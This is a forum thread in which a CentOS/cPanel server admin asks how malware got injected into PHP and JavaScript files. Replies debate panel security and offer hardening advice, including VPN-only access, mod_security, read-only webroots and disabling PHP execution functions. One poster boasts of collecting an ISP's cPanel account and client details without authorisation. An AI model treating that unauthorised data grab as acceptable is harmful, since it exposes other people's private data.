I run server host with OS

Centos 7
2.6.32-642.4.2.el6.x86_64 #1 SMP Tue Aug 23 19:58:13 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

The problem is i got malware injections in some files in php and java script files

Here is example of the code that files has been injected

I checked logs for ftp logins to upload this type of code

I run chkrootkit nothing suspicious or any backdoor trace and clamv scan can't detect this type of code

I want to know how malware got into these files ?

Basically, someone is able to get read/write access to those files. Who is now seen as the "owner" of these files?

There are a variety of possibilities. Someone could have broken into the owner account. Or, they could have set up an account other than the one named root having uid=0.

If you're running Plesk or any other kind of "convenient" software, it's extremely probable that they broke through that.

Of course, if your system is part of a network, they could have broken into any or many of them.

If you're using "shared hosting," it is often the case that the attack could have come from any other user of that host.

Once a system has been compromised, it is likely that it was thoroughly compromised such that you will have to wipe it clean and reload everything from known sources.

Then, in the future, practice much-stronger security practices. For instance, don't expose ssh in any form whatsoever: use OpenVPN with tls-auth, and appropriate firewalls, so that the server exposes nothing(!) to the outside world other than perhaps HTTP(S). Use strong digital certificates – not PSKs == passwords – to tightly control access.

Your troubles began when someone out there discovered that they could attempt(!) to gain access to your machine(s). OpenVPN makes it possible to utterly conceal the one-and-only secret door, as well as to make it quite impossible to enter it. (And, for those authorized persons who do enter, second-tier bastions such as certificate-only ssh still remain.)

1 members found this post helpful.

yes i run cPanel/WHM panel but the thing is no one logged into cPanel file manager on web or access it though ftp and no one have permissions for ssh except the root only , hosts not have any ssh access

i want to trace this code how it is injected to files is there any steps to trace this kind of malware injection ? if someone trying to break it should be record in /var/log/messages or /usr/local/cpanel/logs/access_logs but nothing registered

http://aw-snap.info/ for tips and advice and some remediation.

Unfortunately, my experience with cPanel, Plesk, and so forth is that they can easily be penetrated, "convenient" though they may be. And, through them, the server can be completely compromised – even "root-kitted."

In my experience with cPanel/WHM, it was always compromised credentials.
CMS is always suspect. Wordpress, I'll bet? Old plugins too?
No offense but "nothing registered"? What does that signify?

To find out, find the access and they're are usually logged (and not always by cPanel).
Find directories with 777 permissions under /home/luser/public_html
Scan files in same directories.
Check /tmp/ and /var/tmp/

clamAV can help with a scan that can identify infected files.
How many DocumentRoots (sites) on this toaster?

Are you the Owner of the WHM account?
You have WHM access?

At this point, Habitual, I'd assume they probably did "the full Monty" on the box and root-kitted the damned thing.

That is always my technical posture in such situations.

Too much reliance on GUI'fied "tools" have this affect.

It's a Trifecta
centos
cpanel
no admin.

Hi,

I had a lot of experience regarding server breakins and malware file injections through xss mostly.

Most of the time Plesk, WHM, and other panels are not the reason why there is some file injection on the server.

You did not specify where the injected file is located, but I guess it is somewhere in the website tree.

This happens due to bad coding, outdated scripts etc.. ( read, wordpress, joomla, drupal, phpbb etc... )

Basically you were a victim of a bot which tried known vulnerabilities.

On the other hand if you have a dedicated server box, and see some strange files outside webroot tree, then you should check running processes, crontabs etc...

Reason for this kind of break in is usually bad password. And you may be victim of some small compiled binary that runs as a process and does its thing, usually SPAM.

These kind of scripts are usually downloaded and compiled or downloaded compiled and run on the server.

crontabs are used for getting the script again in case of reboot etc...

I have had to deal with several cloud servers that were "conveniently" pre-installed with Plesk which had been root-kitted before I first focused my attention on them ... to wipe the suckers clean and start loading them the old fashioned way. Starting with OpenVPN.

I really hate it when people generalise so easily. I don't know about Plesk, but cPanel is secure enough. You just need to know how to configure it. If dumb users use bad password or whatever, it's no fault of cpanel, it the user's/admin's fault.

I don't know if you've noticed, but the user said ONLY root has access to ssh. He does have a sense of humour.
I don't see any problems with exposing ssh to the internet if you know what you're doing: restricting access to a couple of IPs, using public keys and so on. Of course, vpn would be the best solution, but the op hasn't even taken the most basic measures of protection, anyhow.

None of them are even mildly secure.
I left an ISP because they insisted on using it on a shared server I was on.
When I left I emailed them a list of all the cPanel accounts and client details
I scooped up in a 5 minute scan. And I'm far from expert.
You use any of those panels at serious risk.

Learn what you are doing properly and you don't need any of them. It's not hard.
I'm starting to think people should have to have a licence to run a web site.

I really don't think you understand what cpanel is all about. It's not about providing services that you wouldn't be able to configure by themselves. cPanel automates services. If you have datacenter servers with thousands (or eve hundreds) of clients, I'm not sure how you'd be able to provide for all of them without using cpanel or something similar. It's not simply about making things easier, it's about making things possible.

The fact that you were able to find some confidential information from one single isp doesn't really prove much. I can also state that Linux is not safe because there are some many servers out there being hacked into. What does that prove? I could even come up with more objective arguments, such as a series of kernel vulnerabilities and really big stuff like heartbleed which, for instance, didn't affect Microsoft products and so on.

I would really like to see proper proof of how cpanel is actually vulnerable, if it's all so transparent, instead of invoking personal experiences like that.

With WHM, I usually limit ports to only secure ips, specifically 2087 and 2083, with the relevant http ports closed completely. This secures WHM down significantly.

Secondly, many compromises like this usually are caused by code or sql injections. Cpanel/WHM has mod_security, consider enabling it (if it isn't already) and installing the OWASP ruleset. That will at least give some basic level of protection, while there are better mod_security rulesets out there, the OWASP rule-set is a good base to modify rules from and is free. Also it will be listed as a mod_security vendor by default within WHM.

Third, remove the ability for PHP and Apache to modify files, there is rarely a good reason that apache and PHP should be able to modify files themselves. You should further to this, consider modifying the global PHP.ini to disallow easily compromised functions such as exec, shell_exec, system, etc. There are sites that have lists of such functions if you aren't sure what to disable.

There are many more things to do past this to secure a site, I'd be here all day writing them up and still not cover 20% of it, but the goal isn't to be impossible to hack (this is an unrealistic goal) but to be as difficult as possible to hack, so that most attacks will ignore you and go for easier targets. Larger networks may use "sacrificial lambs" for this specific purpose, that is a machine that is easily compromised so that you can watch what is compromising it and then protect the other more sensitive servers on the company network.

2 members found this post helpful.

When a brand-new server was already "root-kitted," it doesn't take much experience to know that the server was either maliciously delivered that way, or that it had been compromised in a matter of minutes.

Basically, the root-cause problem with these systems is that they enable things to be done using web pages. And that means that, one way or the other, it is possible for Apache(!) to "do great and terrible things." Which is very fundamentally wrong.

There are many, many other ways to use and to control a system "from a distance," and to do so securely.

For instance, to reach any of my systems, except to reach HTTP(S) which is served by an absolute nobody, you must pass through OpenVPN ... which means that you possess two certificates, one of which is unique to you alone, and which has not been revoked by me. Once there, you must then pass through other gantlets which of course I will not describe. (Hint: "no passwords.")

Port-scan the boxes all you like – you will never even detect the secret door. You will detect HTTP, HTTPS, and nothing else.

And then, you incredible cat-burglar you, you go to all that effort only to discover that all of the material which the web server has access to is read-only. Even if you were root, you can't change anything. You poke around for passwords: there are none. (The database servers are somewhere else, and clearly they're not using "passwords" for authentication. There is no database-client command line tool here, and you couldn't reach the databases anyway.)

So you start poking around, trying to get to other places on the internal network, and suddenly you realize that the servers are using OpenVPN again to talk to one another! (And the certificates are not the same as those used with the outside world.) You see that the public server is making REST calls to other servers (which you can't reach), and that they are tightly firewalled against one another, even "on the inside." You can't "shell out to" anywhere from here. Defense in depth.

It slowly dawns on you that you have broken into a prison.

But by then, I've probably been informed that you stole someone's certificate – and, I know whose it was because every authorized user has a different one ... issued by a computer with no network connection using key-material that's locked in a safe. "Click, click!" Your certificate is revoked, and your connection falls dead ... forever. (While the authorized users go about their business as though nothing had happened ... which is quite true, for them.)

I know that you stole a certificate – and, exactly which one you stole – because I know that there is no other possible way for you to have entered. I know that you could not by any means whatever have coaxed Apache into doing ... anything.

- - - - -

Yes, it can be done. (And it's not even difficult to do!)

If someone manages to break into your system and to modify the source-code that is on it – how do I say it nicely? (And I do not mean this 'personally' ...) "It's your own damned fault."